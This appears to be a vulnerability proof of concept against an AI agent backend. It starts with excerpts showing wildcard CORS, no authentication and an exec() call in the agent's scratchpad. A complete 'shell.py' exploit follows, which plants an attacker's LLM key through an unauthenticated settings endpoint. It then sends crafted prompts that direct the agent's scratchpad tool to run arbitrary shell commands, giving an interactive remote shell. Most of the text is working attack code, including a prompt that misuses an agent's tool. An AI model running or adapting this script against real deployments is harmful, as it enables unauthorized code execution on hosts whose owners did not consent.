# backend/core_api/cowork/server.py
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin accepted
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)
# No auth middleware — all routes are public

# backend/core_api/cowork/api/v1/endpoints/responses.py
@router.post("/")
async def create_response(request: ResponseRequest, ...):
    ...  # no authentication check

# backend/core_agent/anton/core/backends/scratchpad_boot.py  line 755
exec(compiled, namespace)

#!/usr/bin/env python3
"""
Interactive RCE Shell via Anton agent scratchpad exec().
Usage:
    python3 shell.py <ATTACKER_KEY> [openai|gemini] [model]

Example:
    python3 shell.py AIzaSy...  gemini
    python3 shell.py sk-...     openai

The script:
  1. Injects the attacker's LLM key via unauthenticated PUT /api/v1/settings/
  2. Sends crafted prompts to POST /api/v1/responses/ (no auth)
  3. The Anton agent calls scratchpad tool → exec() → arbitrary OS commands
"""
import json, os, sys, time, urllib.request, urllib.error

API         = os.environ.get("API", "http://127.0.0.1:26866/api/v1")
PROOF       = "/tmp/RCE_PROOF.txt"
GEMINI_BASE = "https://generativelanguage.googleapis.com/v1beta/openai/"
OPENAI_BASE = "https://api.openai.com/v1"


def call(method, path, payload=None, timeout=120):
    data = json.dumps(payload).encode() if payload is not None else None
    req = urllib.request.Request(f"{API}{path}", data=data, method=method,
                                 headers={"Content-Type": "application/json"})
    try:
        with urllib.request.urlopen(req, timeout=timeout) as r:
            return r.status, r.read().decode()
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode()


def run_cmd(cmd_str):
    code = (
        "import subprocess, os\n"
        "_nonce = os.urandom(4).hex()\n"
        f"_cmd = {repr(cmd_str)}\n"
        "_res = subprocess.run(['sh', '-c', _cmd], capture_output=True, text=True)\n"
        "_out = _res.stdout + _res.stderr\n"
        f"open(r'{PROOF}', 'w').write(_nonce + '\\n' + _out)\n"
        "print('NONCE=' + _nonce)\n"
        "print(_out)\n"
    )
    prompt = (
        "Use the scratchpad tool (action exec) to run this Python. "
        "os.urandom generates a random nonce you cannot know without executing. "
        "Show me the exact 'NONCE=...' line from the output:\n\n" + code
    )

    try:
        before = os.path.getmtime(PROOF)
    except FileNotFoundError:
        before = -1

    for attempt in range(3):
        status, resp = call("POST", "/responses/", {"input": prompt, "stream": False})
        try:
            agent_text = "".join(
                c.get("text", "")
                for item in json.loads(resp).get("output", [])
                for c in item.get("content", [])
            )
        except Exception:
            agent_text = resp[:200]

        if "429" not in agent_text:
            break
        wait = 20 * (attempt + 1)
        print(f"    [429] rate limit — waiting {wait}s ({attempt+1}/3)...")
        time.sleep(wait)
    else:
        return "[-] 429 rate limit persistent — wait or use another key"

    time.sleep(0.8)

    try:
        after = os.path.getmtime(PROOF)
    except FileNotFoundError:
        return f"[-] {agent_text[:300]}" if agent_text else f"[-] Agent did not call tool (HTTP {status})"

    if after <= before:
        return f"[-] {agent_text[:300]}" if agent_text else "[-] File not updated"

    raw = open(PROOF).read()
    _, _, output = raw.partition('\n')
    return output.rstrip('\n') if output.strip() else "(command ran, no stdout)"


def setup(key, provider, model):
    base_url = GEMINI_BASE if provider == "gemini" else OPENAI_BASE
    print(f"[*] Setting provider={provider} model={model}")
    for field, val in [
        ("openai_api_key",    key),
        ("planning_provider", provider), ("coding_provider", provider),
        ("planning_model",    model),    ("coding_model",    model),
        ("openai_base_url",   base_url),
    ]:
        call("PUT", f"/settings/{field}", {"value": val}, timeout=15)
    _, vr = call("POST", "/settings/validate", {}, timeout=10)
    print(f"[*] validate: {vr.strip()[:100]}")


def main():
    if len(sys.argv) < 2 or not sys.argv[1].strip():
        print("Usage: python3 shell.py <KEY> [openai|gemini] [model]")
        sys.exit(1)

    key      = sys.argv[1].strip()
    provider = sys.argv[2].strip().lower() if len(sys.argv) > 2 else "openai"
    if provider not in ("openai", "gemini"):
        print(f"Invalid provider: {provider!r}"); sys.exit(1)
    default_model = "gemini-2.5-flash" if provider == "gemini" else "gpt-4o-mini"
    model = sys.argv[3].strip() if len(sys.argv) > 3 else default_model

    setup(key, provider, model)

    print()
    print("=" * 55)
    print("  RCE SHELL  (type shell commands, 'exit' to quit)")
    print("=" * 55)

    while True:
        try:
            cmd = input("$ ").strip()
        except (EOFError, KeyboardInterrupt):
            print("\n[*] Exit.")
            break
        if not cmd or cmd in ("exit", "quit", "q"):
            break
        print(run_cmd(cmd))
        print()


if __name__ == "__main__":
    main()